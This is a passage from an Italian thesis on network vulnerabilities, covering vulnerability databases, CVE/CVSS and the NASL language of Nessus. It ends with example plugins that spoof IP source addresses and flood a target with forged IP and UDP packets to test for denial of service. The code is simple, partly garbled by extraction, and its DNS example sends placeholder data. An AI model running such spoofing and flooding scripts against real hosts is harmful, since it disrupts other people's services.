W3af mette a disposizione dell’utente due interfacce grafiche, quella a consoleconsoleUI, e una GUI gtkUi (figura 4.13). Al momento attuale, la console èmolto più testata e completa rispetto all’altra soluzione.

Figura 4.13: W3af: schermata principale

W3af è usato da OpenVAS per scansionare e analizzare le web application.OpenVAS ha integrato W3af nel 21/03/2010, includendo un apposito file NASLnella libreria openvas-plugin.

4.4 Vulnerability Database

Questo argomento è di particolare interesse per la presente tesi, dato che siprendono in esame le vulnerabilità e i software di vulnerability scan (Sezione 4.3) il

Page 64: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 58

quale funzionamento si basa sulle informazioni presenti in questi database.Un Vulnerability Database è una piattaforma volta a raccogliere, mantenere ediffondere informazioni sulle vulnerabilità scoperte nei sistemi informatici.Un database delle vulnerabilità contiene informazioni relative alla vulnerabilitàidentificata, alla valutazione del potenziale danno che potrebbe recare ai sistemiinformatici e alla soluzione necessaria per risolvere tale vulnerabilità.I più importanti database delle vulnerabilità sono:

• OSVDB (Open Source Vulnerability Database): fornisce un indice preciso,tecnico e imparziale sulla sicurezza delle vulnerabilità. Questo database cataloga121.000 vulnerabilità in un periodo di 13 anni. Il OSVDB è stata fondata nelmese di agosto 2002 ed è stato lanciato nel marzo 2004.

Figura 4.14: Vulnerabilità, per anno, dal 2005 al 2014, OSVDB

• NVD (National Vulnerability Database U.S): è stato formato nel 2005 ed è ildatabase delle vulnerabilità del governo USA. NVD è il database di riferimentoper gli individui e le aziende che forniscono servizi inerenti alla sicurezza, vistala particolare tempestività nel divulgare le vulnerabilità scoperte, circa 13nuove "entry" al giorno.

Page 65: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 59

Figura 4.15: Vulnerabilità, per anno, dal 2005 al 2014, NVD

I database di vulnerabilità pubblicano informazioni relative alle vulnerabilità,mettendo a disposizione il CVE (Common Vulnerabilities and Exposures).

4.4.0.1 CVE

Il CVE è un dizionario di vulnerabilità e falle di sicurezza note pubblicamente; èmantenuto dalla MITRE Corporation ed è finanziato dalla National CybersecurityFFRDC del Dipartimento della Sicurezza interna degli Stati Uniti.Le vulnerabilità sono organizzate con identificatori univoci, permettendo una maggiorecomunicazione nel mondo della sicurezza e aiutando la valutazione della diffusione diservizi e strumenti.Per inserire una vulnerabilità non presente tra quelle conosciute bisogna farne richiestaad una CNA (CVE Numbering Authorities). Le CNA possono essere organizzazionidi ricerca(MITRE, ...), aziende nel campo della sicurezza(Symantec, Kaspersky, ...)e produttori di sistemi operativi (Apple, Google, ...), aventi a disposizione delle CVEentry da poter associare alle vulnerabilità, cioè la MITRE gli ha assegnato come"riservato" un determinato range di CVE.Gli identificatori CVE identificano in modo univoco le vulnerabilità note al pubblicodi sicurezza informatica. Questi identificatori possono avere lo status di "entry" o di"candidates", a seconda che siano stati accettati nell’elenco del CVE oppure sianosotto verifica per l’inclusione nella lista. L’assegnamento di un identificatore nongarantisce che la vulnerabilità diventerà una voce ufficiale del CVE (ad esempio, unID CVE può duplicare una voce già esistente).Gli ID CVE possono essere assegnati da:

• MITRE (CNA primaria);

Page 66: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 60

• CNA riguardo i propri prodotti (Apple, Oracle, Microsoft, ...);

• terze parti quali il CERT Coordination Center che può assegnare identificatoriper prodotti non coperti dalle altre CNA.

Gli identificatori CVE possono non risultare nel NVD o nei database del MITRE perdiverso tempo (da giorni ad anni) a causa di problemi relativi alla loro divulgazione(la loro catalogazione è stata approvata ma non sono stati resi pubblici).Le CVE riguardano software pubblicamente rilasciati, incluse le versioni beta, quellein preordine (se largamente diffuse) e i programmi commerciali. Tra le categorie acui non vengono assegnate CVE troviamo sistemi custom non distribuiti e serviziaddizionali (ad esempio provider di posta web-based con criticità quali il Cross-sitescripting) a meno che il problema non sia presente in un software sottostante pubbli-camente distribuito.

Ci sono diversi campi all’interno di un database CVE per permettere di qualificaree descrivere in modo esaustivo le vulnerabilità; I campi principali sono:

• Descrizione: è la descrizione di un numero CVE, un esempio tipico è:"** RESERVED **"; cioè, l’identificativo è stato riservato dal MITRE o dauna CNA e quindi resterà così marcato finché non verrà assegnato ad unavulnerabilità.

• Riferimenti: presenta la lista di informazioni e URL associate alla CVE.

• Data Creazione: è la data in cui è stata creata la voce. Per un ID CVEassegnato direttamente dal MITRE, questa è la data vera e propria in cui èstata creata la voce, per una CVE assegnata da una CNA invece la data dicreazione si riferisce a quando il MITRE ha riservato la voce, non la CNA.Così, nel caso in cui una CNA richieda un certo numero di CVE in anticipoqueste voci avranno tutte la stessa data di creazione, ovvero quando sono stateassegnate.

La sintassi degli identificatori CVE, inizialmente (1999), era relativa agli IDCVE, cioè era del tipo "CVE-YYYY-NNNN" e supportava un massimo di 9999identificatori unici all’anno. Negli ultimi anni la crescita del numero di vulnerabilitàda registrare ha portato alla modifica di questa sintassi, entrata in vigore il 13 Gen-naio 2015, prevedendo una lunghezza variabile ed è del tipo "CVE-YYYY-CIFREARBITRARIE...". La lunghezza del campo “CIFRE ARBITRARIE” è variabile madeve contenere almeno quattro caratteri, perciò la sintassi è retrocompatibile.

Le vulnerabilità all’interno dei vulnerability database vengono classificate aseconda della gravità stimata, cioè ogni vulnerabilità CVE è associata ad uno scoreCVSS. Il Common Vulnerability Scoring System (CVSS) è un framework open-sourceper classificare le caratteristiche e la gravità delle vulnerabilità del software.CVSS è costituito dalle seguenti metriche:

• Base: rappresenta le qualità intrinseche di una vulnerabilità, cioè le carat-teristiche di una vulnerabilità che sono costanti nel tempo ed indipendentidal contesto in cui si trovano. Informazioni di questo tipo sono ad esempio

Page 67: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 61

l’impatto generato dalla vulnerabilità in termini di confidenzialità, integrità edisponibilità.

• Temporale: rappresenta le caratteristiche di una vulnerabilità che cambianonel tempo, come ad esempio la possibilità di sfruttare la vulnerabilità medianteun exploit pubblico, oppure la presenza di una patch in grado di risolvere lavulnerabilità.

• Ambientale: rappresenta le caratteristiche di una vulnerabilità che sonorilevanti rispetto al contesto utente in cui vengono considerate. Informazionidi questo tipo comprendono l’impatto collaterale che la vulnerabilità genera sesfruttata da un attaccante, come ad esempio una perdita finanziaria.

Le metriche di base producono un punteggio che va 0-10, che possono poi esseremodificati valutando le metriche temporali e ambientali.

Figura 4.16: Metriche CVSS

Page 68: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Capitolo 5

Il Linguaggio NASL e Applicazioni

In questo capitolo si affronta nello specifico il linguaggio NASL e l’utilità delcreare plugin specifici per verificare o sfruttare vulnerabilità rilevate da software divulnerability assessment come Nessus e OpenVAS, visti nel capitolo 4. Per dimostrarel’effettiva potenzialità e versatilità di tale linguaggio verranno illustrati esempi diplugin scritti durante il tirocinio svolto.

5.1 Il Linguaggio NASL

NASL è un linguaggio di scripting specializzato per le comunicazioni su una reteTCP/IP, che consente di sviluppare plugin in grado di compiere attacchi a diversilivelli della pila ISO/OSI.NASL è lo sviluppo di un progetto privato dal nome "pkt_forge" di Renaud Deraison,creatore di Nessus, che permetteva di creare e inviare pacchetti IP in forma "raw"mediante l’utilizzo di una shell interattiva. Renaud ha deciso di utilizzare questolinguaggio, non generico e limitato, per sviluppare i plugin che poi avrebbe utilizzatoNessus per:

• Sicurezza: è stato progettato per lavorare attraverso il motore Nessus, perciònon ha la capacita di leggere dati dalla console o di interagire con il sistemaoperativo del host. Utilizzando NASL, non è permesso produrre un plugin ingrado di agire come cavallo di troia, quindi esso non può trasmettere ad unaterza parte informazioni sul software su cui sta effettuando la scansione.

• Semplicità: è dovuta alla possibilità di eseguire un plugin senza la necessitàdi utilizzare librerie esterne e di ridurre la quantità di memoria necessaria,in quanto gli script per Nessus (plugin) girano in porzioni molto ridotte dimemoria perché il linguaggio è stato ottimizzato in modo da non consumare avuoto cicli di processore e grandi quantità di RAM.

L’obiettivo di NASL è di permettere a chiunque di scrivere in pochi minuti test perverificare la presenza di una falla di sicurezza e di permettere la condivisione di questitest senza preoccuparsi del sistema operativo su cui viene eseguito.

62

Page 69: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 63

5.1.1 La grammatica NASL

La grammatica del linguaggio NASL è ispirata al linguaggio C, elenchiamo diseguito le principali caratteristiche:

• Tipi: i tipi di dato gestiti sono:

– Interi: qualsiasi sequenza di cifre, con un eventuale segno meno è unintero. NASL usa la sintassi C, quindi i numeri ottali sono indicati conil prefisso "0" e i numeri decimali con "0x", ad esempio per il numerodecimale 16 avremo: 0x10 = 020 = 16.

– Stringhe: le stringhe possono essere impure", cioè non vengono convertite(backslashes rimane un backslashes) e sono comprese tra doppi apici, o"pure" quando nei casi di particolari caratteri vengono trasformate e sonocomprese tra apici singoli.

– Array: possono essere indicizzati da interi o stringhe.

– Booleani: può avere due valori, "false" che corrisponde al valore diritorno "0" per gli operatori di confronto e "true" che corrisponde a "1".tutti i valori sono convertiti in "true" e "false", ad esempio il valore "null"è convertito in false, le stringhe non vuote e non con il solo carattere "0"sono convertite in "true".

• Operatori: le operazione fornite sono:

– Aritmetiche: sono implementate le operazioni native del linguaggioC e non vi è protezione da underflow e overflow, le operazioni sono :"+" addizioni, "-" sottrazioni, "*" moltiplicazione, "/" divisione intera(NASL non supporta operazioni floating point, e gestisce la divisione per0 ritornando il valore "0"), "%" modulo, "**" potenze.

– Sulle stringhe: "+" concatenazione, "-" sottrazione (rimuove la primaistanza di una stringa dall’altra, ad esempio "abcd" - "bc" ritornerà "ad"),"[]" estrazione di un carattere dalla stringa, "><" confronto tra stringhe,"= " confronto con espressione regolare.

– Di confronto: "==" true se sono uguali gli argomenti, "!=" true sesono diversi, ">" true se il primo è maggiore del secondo, "<" true se ilprimo è minore del secondo, ">=" true se il primo è maggiore o ugualedel secondo, "<=" true se il primo è minore o uguale del secondo.

– Logiche: "!" è la negazione logica, && è l’and logico, "||" è l’or logico.

– bit a bit: " " negazione bit a bit (complemento a 1),"&" and bit a bit,"|" or bit a bit, "" xor bit a bit, "«" shift logico verso sinistra, "»" shiftlogico verso destra.

La precedenza degli operatori è definita nella tabella 5.1, dalla maggiore priorità(primo elemento) alla minore (ultimo elemento).

Page 70: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 64

Figura 5.1: Precedenza degli operatori nel linguaggio NASL, dalla maggiore priorità allaminore

• Cicli e controllo di flusso: NASL definisce comandi riguardanti i cicli similial linguaggio C. Ad esempio, il "for", "foreach", "while", "repeat", "break","continue" e "return".

• Dichiarazioni: NASL permette di dichiarare le variabili locali, cioè possonoessere utilizzate solo dalle istruzioni che si trovano all’interno del blocco incui sono dichiarate, e quindi non sono accessibili all’esterno di tale blocco oglobali, nel caso in cui le variabili sono note all’intero programma e possonoessere usate in qualsiasi punto del codice. Inoltre NASL supporta l’utilizzo difunzioni quindi permette la dichiarazione e la chiamata di tali funzioni.

5.1.2 Le librerie NASL

5.1.2.1 Costanti predefinite

Queste costanti sono in realtà variabili, cioè è permessa, ma fortemente sconsi-gliata, la modifica dei loro valori durante l’esecuzione dello script.

• Costanti booleane:

– FALSE = 0– TRUE = 1

• Categorie plugin: argomento spiegato nel dettaglio nella sezione riguardantei plugin (5.2).

• Costanti di rete:

– Incapsulamento:∗ ENCAPS_IP = 1: valore di trasporto per un TCP socket.∗ ENCAPS_SSLv23 = 2: valore di trasposto per una connessione

SSL in modalità di compatibilità.∗ ENCAPS_SSLv2 = 3: la vecchia versione di SSL, il quale supporta

solo certificati lato server.

Page 71: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 65

∗ ENCAPS_SSLv3 = 4: la nuova versione di SSL, il quale supportacertificati lato client e lato server, più cifrari e corregge alcune falledi sicurezza.

∗ ENCAPS_TLSv1 = 5: TLSv1 è definito nel RFC2246.

– Opzioni Socket: MSG_OOB è un opzione socket utilizzata per mandareun "out of band data", cioè quando vengono trasferiti i dati attraverso unflusso che è indipendente dal flusso di dati in banda principale.

– Socket raw:

∗ IPPROTO_ICMP = 1. come nel linguaggio C∗ IPPROTO_IGMP = 2.∗ IPPROTO_IP = 4.∗ IPPROTO_TCP = 6.∗ IPPROTO_UDP = 17.∗ pcap_timeout = 5∗ TH_ACK = 0x10. Questo flag TCP indica che il pacchetto contiene

un acknowledgment valido.∗ TH_FIN = 0x01. Questo flag TCP indica che il pacchetto sta

negoziando la fine della sessione.∗ TH_PUSH = 0x08.∗ TH_RST = 0x04. Questo flag TCP indica che la connessione è

stata rifiutata o è stato effettuato un "reset" da parte del peer.∗ TH_SYN = 0x02. Questo flag TCP indica la fase iniziale di

handshake (apertura connessione).∗ TH_URG = 0x20. Questo flag TCP indica che il pacchetto contiene

dati urgenti.

• Costanti varie: NULL è il valore che indica la non definizione.

5.1.2.2 Funzioni

• Funzioni per il Knowledge Base: queste funzioni sono utilizzate per lacomunicazione tra plugin, come visto nella sezione 4.3.1.5 , ad esempio se primaun plugin effettua una scansione, poi può condividere con gli altri plugin leinformazioni ottenute.

– set_kb_item: crea una nuova entry nel KB. Organizza le voci in moda-lità chiave-valore, dove la chiave è il nome passato come primo argomentoe il valore è il secondo argomento.

– get_kb_item: ottiene una entry dal KB, prendendo come argomentouna stringa che è il nome della chiave con cui è stato salvato.

– get_kb_list: ottiene più entry dal KB.

– replace_kb_item: modifica la entry con chiave corrispondente al primoargomento passato alla funzione, sostituendo il valore con il secondoargomento passato alla funzione.

Page 72: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 66

• Funzioni di report: queste funzioni inviano informazioni riguardo gli stati aldemone di Nessus.

– scanner_status: segnala l’avanzamento del port scan. Gli argomentisono: il numero di porte scansionate fino ad ora e il numero totale diporte da scansionare.

– security_note: segnala informazioni varie. Gli argomenti sono: l’infor-mazione da segnalare, la porta e il protocollo a cui si fa riferimento.

– security_hole: segnala problemi gravi. Gli argomenti sono: l’informa-zione da segnalare, la porta e il protocollo a cui si fa riferimento.

– security_warning: segnala problemi lievi. Gli argomenti sono: l’infor-mazione da segnalare, la porta e il protocollo a cui si fa riferimento.

• Funzioni di descrizione: le seguenti funzioni sono usate nella parte relativaalla descrizione all’interno del plugin. Hanno significato solo quando vengonoeseguite da Nessus, a confronto dell’esecuzione indipendente tramite interpreteNASL, dato che servono solo a fornire informazioni relative al plugin a Nessus.Le principali funzioni di descrizione sono:

– script_add_preference: aggiunge un opzione al plugin. Gli argomentisono: il nome dell’opzione, il tipo di opzione e il valore.

– script_category: imposta la categoria del plugin.

– script_dependencies: imposta la lista di script che dovrebbero essereeseguiti prima di questo.

– script_description: imposta la descrizione del plugin.

– script_id: imposta il numero del plugin.

– script_name: imposta il nome del plugin.

– script_summary: imposta una breve descrizione del plugin.

– script_version: imposta la versione del plugin.

– script_get_preference: legge un opzione da Nessus. Se lo script èeseguito indipendentemente ritorna una stringa vuota

– script_require_ports: imposta la lista di porte TCP che devono essereaperte per eseguire questo plugin.

– ...

• Funzioni di rete: le principali funzioni di rete sono:

– get_host_ip: ritorna l’indirizzo IP del target.

– get_host_open_port: ritorna una porta TCP aperta nel target.

– get_source_port: ritorna la porta sorgente utilizzata da Nessus.

– islocalnet: ritorna true se il target è nella stessa rete del host attaccante,falso altrimenti.

– open_priv_sock_tcp: apre un socket TCP privilegiato.

– open_priv_sock_udp: apre un socket UDP privilegiato.

Page 73: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 67

– open_sock_tcp: apre un socket TCP. L’argomento principale è la portasu cui creare il socket, inoltre opzionalmente vi è la possibilità di impo-stare il timeout della connessione, modalità di trasporto (ENCAPS_IP,ENCAPS_SSLv23, ...) e se si vuole bufferizzare l’IO.

– close: chiusura del socket passato per argomento.

– recv: riceve dati dal socket TCP o UDP.

– recv_line: riceve dati fino l carattere di "a capo" dal socket TCP oUDP.

– send: invia dati su un socket. Gli argomenti sono il socket e il blocco didati da inviare.

– scanner_get_port: ritorna la lista delle porte aperte del target.

– end_denial: ritorna true nel caso il target risulti ancora attivo e falsoaltrimenti.

– start_denial: inizializza strutture dati per riuscire al momento dellachiamata della funzione "end_denial" di sapere se il target è ancora attivo.

– ...

• Funzioni per la manipolazione di stringhe: le principali funzioni per lamanipolazione delle stringhe sono:

– chomp: rimuove qualsiasi spazio dalla stringa.

– display: mostra su standard output la stringa.

– ereg: confronta una stringa con una espressione regolare.

– split: converte una stringa in un array di sottostringhe.

– strlen: ritorna la lunghezza della stringa.

– ...

• Funzioni per il protocollo HTTP: le principali funzioni riguardanti ilprotocollo HTTP sono:

– cgibin: ritorna il percorso del file cgi.

– http_delete: effettua una richiesta HTTP DELETE. viene gestito inautomatico la versione del protocollo e l’autenticazione basata sui cookie.

– http_get: effettua una richiesta HTTP GET.

– http_close_socket: chiude un socket, identico alla close delle funzionidi rete.

– http_head: effettua una richiesta HTTP HEAD.

– http_open_socket: apre un socket su una determinata porta.

– http_recv_headers: legge tutti gli HTTP header di un determinatosocket.

– http_post: effettua una richiesta HTTP POST.

– http_put: effettua una richiesta HTTP OUT.

Page 74: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 68

– is_cgi_installed: verifica se il cgi è presente.

• Funzioni per i pacchetti IP in forma "raw": le seguenti funzioni permet-tono di inserire stringhe o valori all’interno di pacchetti IP, UDP, ICMP...

– forge_icmp_packet: riempe un datagramma IP con dati ICMP, passatiper argomento.

– forge_igmp_packet: riempe un datagramma IP con dati IGMP, passatiper argomento.

– forge_ip_packet: ritorna un datagramma IP con i campi impostaticon i valori passati per argomento.

– forge_tcp_packet: riempe un datagramma IP con dati TCP, passatiper argomento.

– forge_udp_packet: riempe un datagramma IP con dati UDP, passatiper argomento.

– get_icmp_element: ritorna un elemento ICMP da un pacchetto IP.

– get_ip_element: estrae un campo dal datagramma.

– insert_ip_options: aggiunge un opzione IP al datagramma e ritorna ildatagramma modificato.

– send_packet: invia una lista di pacchetti e si mette in ascolto dellarisposta.

– ...

• Funzioni di crittografia: le principali funzioni di crittografia sono:

– forge_HMAC_MD5_packet: prende due argomenti (dato e chiave)e ritorna l’HMAC.

– HMAC_SHA: prende due argomenti (dato e chiave) e ritorna l’HMAC.

– MD5: prende un argomento e ritorna l’MD5 relativo.

– SHA1: prende un argomento e ritorna l’SHA1 relativo.

– ...

• Funzioni varie: elenchiamo di seguito alcune funzioni che risultano utili manon rientrano in una delle categorie precedenti:

– defined_func: ritorna true se è definita una funzione con lo stesso nomedi quella passata come parametro.

– isnull: ritorna true se non è inizializzata, false altrimenti.

– make_list: forma una lista con gli elementi passati come parametri.

– sleep: attende il numero di secondi passato come parametro.

– type_of : ritorna il tipo dell’argomento.

– ...

Page 75: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 69

• Funzioni pericolose: le funzioni considerate pericolose sono funzioni chepossono mettere in pericolo la sicurezza dell’attaccante, ad esempio possonoeseguire arbitrariamente codice con privilegi di root, quindi è permesso l’utilizzosolo per gli script affidabili (firmati).

– find_in_path: cerca un comando in $PATH e ritorna vero se è statotrovato, altrimenti falso.

– pread: lancia un processo e ritorna l’output in una stringa. Gli argomentisono il nome del comando da eseguire, eventuali argomenti da fornir-gli, la directory dov’è contenuto il programma e la priorità da fornireall’esecuzione del programma.

– file_open: apre il file passato per argomento ritornando il file descriptor.

– file_read: riferendosi al file descriptor passato per argomento ritorna ildato del file.

– ...

5.2 Plugin in NASL

NASL consente di sviluppare plugin in grado di compiere attacchi a diversi livellidella pila ISO/OSI. Essi permettono la compromissione dei protocolli standard edutilizzano le funzionalità già presenti nella libreria messa a disposizione da Nessus.Ad esempio, attraverso pacchetti malformati o violando le specifiche dei protocolli, èpossibile compromettere il software eseguito su un host o le sue funzionalità di rete.I Plugin sono utilizzati da Nessus come componenti specifiche che gli fornisconodeterminate funzionalità (ogni tipo di attacco o strumento utilizzato da Nessus èscritto in NASL), permettendogli di selezionare quali utilizzare per la scansione divulnerabilità a seconda dei parametri impostati per la ricerca.Le informazioni raccolte da un plugin possono essere utilizzate da altri plugin, grazieall’utilizzo del Knowledge Base, come visto nella sezione 4.3.1.5. Infatti, la scansionedi un host permette di ricavare informazioni generali, come ad esempio la sua listadegli account. Queste informazioni vengono conservate e rese disponibili per altriplugin, evitando così di ripetere le operazioni di raccolta dati già eseguite. Questo èil motivo per cui l’ordine di esecuzione di alcuni plugin non può essere arbitrario.Un plugin è composto da due parti: la prima contiene la descrizione, interpretatadurante il caricamento e la scelta dei plugin e l’altra contiene il codice che vieneeseguito da Nessus durante l’attacco. La descrizione contiene il nome del plugin, lasua descrizione ed il nome del suo autore; deve inoltre fornire un id unico, la famigliaa cui appartiene e deve indicare una categoria che ne descrive la pericolosità.Le categorie possibili sono:

• ACT_SCANNER: lo script esegue un semplice portscan sugli host attaccati.

• ACT_GATHER_INFO: lo script raccoglie informazioni dagli host attaccati.Ad esempio può memorizzare risposte complete, o parti di esse, ricevute da unservizio che ha elaborato una particolare richiesta.

• ACT_ATTACK: lo script non danneggia l’host attaccato.

Page 76: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 70

• ACT_DESTRUCTIVE_ATTACK: lo script può compromettere il soft-ware o le informazioni che risiedono sull’host attaccato.

• ACT_MIXED_ATTACK: lo script tenta di non essere distruttivo, ma puòcompromettere alcune informazioni importanti.

• ACT_DENIAL: lo script può causare il blocco del servizio sull’host attaccato.

• ACT_KILL_HOST: lo script può causare un blocco del servizio al livellodel sistema operativo.

• ACT_FLOOD: lo script potrebbe appartenere alla categoria “ACT_KILL_HOST”,ma ha la particolarità d’inviare un flusso costante verso l’host attaccato. Nelladescrizione possono essere inserite ulteriori informazioni, ad esempio le dipen-denze (script_dependency) da altri plugin e la richiesta di ulteriori parametri,come la porta TCP o UDP (script_require_port) da utilizzare nell’esecuzionedello script.

La libreria di Nessus fornisce delle funzionalità utili per implementare velocementetutti quegli attacchi che fanno uso di protocolli standard, come visto nella sezione5.1.2.2. I protocolli considerati comprendono, ad esempio, HTTP, FTP e NFS.Terminato l’attacco, quindi nella parte finale del plugin, è opportuno restituire delleinformazioni a Nessus per rendergli noto l’eventuale successo del plugin o comunicargliuna lista di informazioni raccolte.Esistono tre tipi di segnalazione:

• security_hole: usato per riportare informazioni critiche per la sicurezza.

• security_warning: usato per riportare informazioni di minore importanzaper la sicurezza.

• security_note: usato per riportare informazioni non importanti ai fini dellasicurezza.

L’esecuzione di un plugin è limitata, dall’interprete di Nessus, da un timeout altermine del quale lo script viene bloccato.

I plugin in NASL possono essere aggiunti alla lista di plugin utilizzabili duranteuna scansione di vulnerabilità di Nessus, copiando il file apposito nella cartella"plugin" all’interno della cartella generale di Nessus o eseguiti indipendentementetramite l’interprete NASL a linea di comando di Nessus (figura 5.2).

Page 77: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 71

Figura 5.2: Esecuzione plugin NASL con interprete di Nessus

5.3 Esempi di plugin

Durante il Tirocinio svolto sono stati sviluppati plugin in NASL che permettonodi effettuare diversi tipi di attacchi.Per ogni esempio mostrato verrà introdotta inizialmente la tipologia di attacco incui rientra e l’utilità, per poi descrivere nel dettaglio il codice di tale plugin e lefunzioni utilizzate, ed infine verrà mostrata l’esecuzione, con relativi dati sui pacchettiscambiati in rete, catturati tramite software di sniffing (Wireshark, 2.1.2).

5.3.1 Forging Packet

In questo capitolo vi è un insieme di plugin, il cui funzionamento si basa sullacreazione di pacchetti IP, TCP o UDP per effettuare diversi tipi di attacchi.

5.3.1.1 Forging Packet IP - IP Spoofing

Questo plugin ha l’obiettivo di effettuare un attacco di IP Address Spoofing, cioèdi falsificare l’identità, intesa come indirizzo IP, come visto nel capitolo 2.2.1, inparticolare modifica l’indirizzo IP sorgente, dato che solitamente i router controllanosolamente gli indirizzi di destinazione, permettendo di immedesimarsi in un altro IPe di conseguenza risultare come un altro mittente.Questa tecnica può essere utilizzata per superare alcune tecniche difensive contro leintrusioni, in particolare quelle basate sull’autenticazione dell’indirizzo IP. Infatti,è normale che in intranet aziendali l’autenticazione ad alcuni servizi avvenga sullabase dell’indirizzo IP.Il plugin crea un pacchetto IP nel quale viene falsificato l’indirizzo IP del mittente,dato che nell’header di un pacchetto IP si trova uno specifico campo, il Source

Page 78: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 72

Address, il cui valore indica l’indirizzo IP del mittente: modificando questo camposi può far credere che un pacchetto IP sia stato trasmesso da una macchina hostdifferente, in questo caso è stato inserito l’indirizzo "1.2.3.4".

if(description) {script_name(english:" Forg ing Packet IP");script_summary(english:" Crea t e s packe t with any data

or op t i on ");script_category(ACT_DENIAL);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");exit (0);

}

src =" 1 . 2 . 3 . 4 ";data = string("Hi Richk ");

ip = forge_ip_packet(ip_v : 4,ip_hl : 5,

ip_tos : 0,ip_off : IP_MF ,ip_src : src ,ip_ttl : 64,

data : data);

start_denial ();send_packet(ip) x 500;alive = end_denial ();

if (!alive){set_kb_item(name:"Host / dead ", value:TRUE);security_hole (0);

} �Il pacchetto IP viene creato tramite la funzione "forge_ip_packet", alla quale

verranno passati come argomenti, oltre ai parametri necessari per la creazione, anchel’indirizzo IP da inserire, sotto la voce di "ip_src". In figura 5.3 si può osservareche il pacchetto creato transitante in rete ha effettivamente l’indirizzo IP fittizioassegnato.

Page 79: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 73

Figura 5.3: Dati del pacchetto IP creato in NASL e catturati tramite Wireshark

Page 80: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 74

5.3.1.2 Forging Packet UDP - DNS Spoofing / DNS Cache Poisoning

Questo plugin ha l’obiettivo di effettuare un attacco di DNS Spoofing o DNSCache Poisoning, mediante pacchetti DNS appositamente creati.Il DNS Spoofing permette di effettuare attacchi più complessi come ad esempio ilDNS Amplification/Reflector attack che è un attacco di tipo DDoS che abusa diserver DNS ricorsivi inviandogli pacchetti contenenti informazioni falsificate sull’IP diprovenienza (IP spoofing) e che comporta una risposta immediata da essi. Il concettodi amplificazione è basato sul fatto che le richieste di piccole dimensioni (UDP, 60byte) possono generare risposte di grandi dimensioni (512 byte). La rifrazione invececonsiste nell’IP spoofing che è il meccanismo attraverso il quale si dirotta la rispostaverso un’altra destinazione prestabilita.Il DNS cache poisoning consiste nell’inserire false informazioni nella cache del DNS. Adesempio un record che mappa un nome ad un indirizzo IP differente, opportunamentescelto dall’attaccante.Il plugin crea inizialmente un pacchetto IP nel quale viene falsificato l’indirizzo IPdel mittente, dato che nell’header di un pacchetto IP si trova uno specifico campo, ilSource Address, il cui valore indica l’indirizzo IP del mittente: modificando questocampo si può far credere che un pacchetto IP sia stato trasmesso da una macchinahost differente, in questo caso è stato inserito l’indirizzo "1.2.3.4". Successivamenteviene creato un pacchetto UDP all’interno del pacchetto IP precedentemente creato,contenente dati appositi per effettuare gli attacchi DNS.

if(description) {script_name(english:" Forg ing Packet UDP, malformed ");script_summary(english:" u s i ng a bug in apache ,

e x e c u t e s code r emote l y ");script_category(ACT_DESTRUCTIVE_ATTACK);script_copyright(english:"This s c r i p t was w r i t t e n by

Ricca rdo M e l i o l i ");exit (0);

}

sport = 62000;dport = 53;src =" 1 . 2 . 3 . 4 ";data = string("MALFORMED. . . ");

ip = forge_ip_packet(ip_v : 4,ip_hl : 5,

ip_tos : 0,ip_p : IPPROTO_UDP ,ip_src : src ,ip_ttl : 64

);

udp = forge_udp_packet(ip: ip,uh_sport : sport ,uh_dport : dport ,

data : data

Page 81: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 75

);

start_denial ();send_packet(udp) x 500;alive = end_denial ();

if (!alive){set_kb_item(name:"Host / dead ", value:TRUE);security_hole (0);

} �Il pacchetto IP viene creato tramite la funzione "forge_ip_packet", alla quale

verranno passati come argomenti, oltre ai parametri necessari per la creazione, anchel’indirizzo IP da inserire, sotto la voce di "ip_src".Il pacchetto UDP viene creato tramite la funzione "forge_UDP_packet" alla qualevengono passati come argomenti, oltre alle porte di sorgente e destinazione, i datiper effettuare l’attacco DNS. In figura 5.4 si può osservare che il pacchetto creatotransitante in rete oltre ad avere effettivamente l’indirizzo IP fittizio assegnato,presenta i dati DNS appositamente creati.

Figura 5.4: Dati del pacchetto UDP creato in NASL e catturati tramite Wireshark

Page 82: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 5. IL LINGUAGGIO NASL E APPLICAZIONI 76

5.3.1.3 Forging Packet TCP - Reset Attack

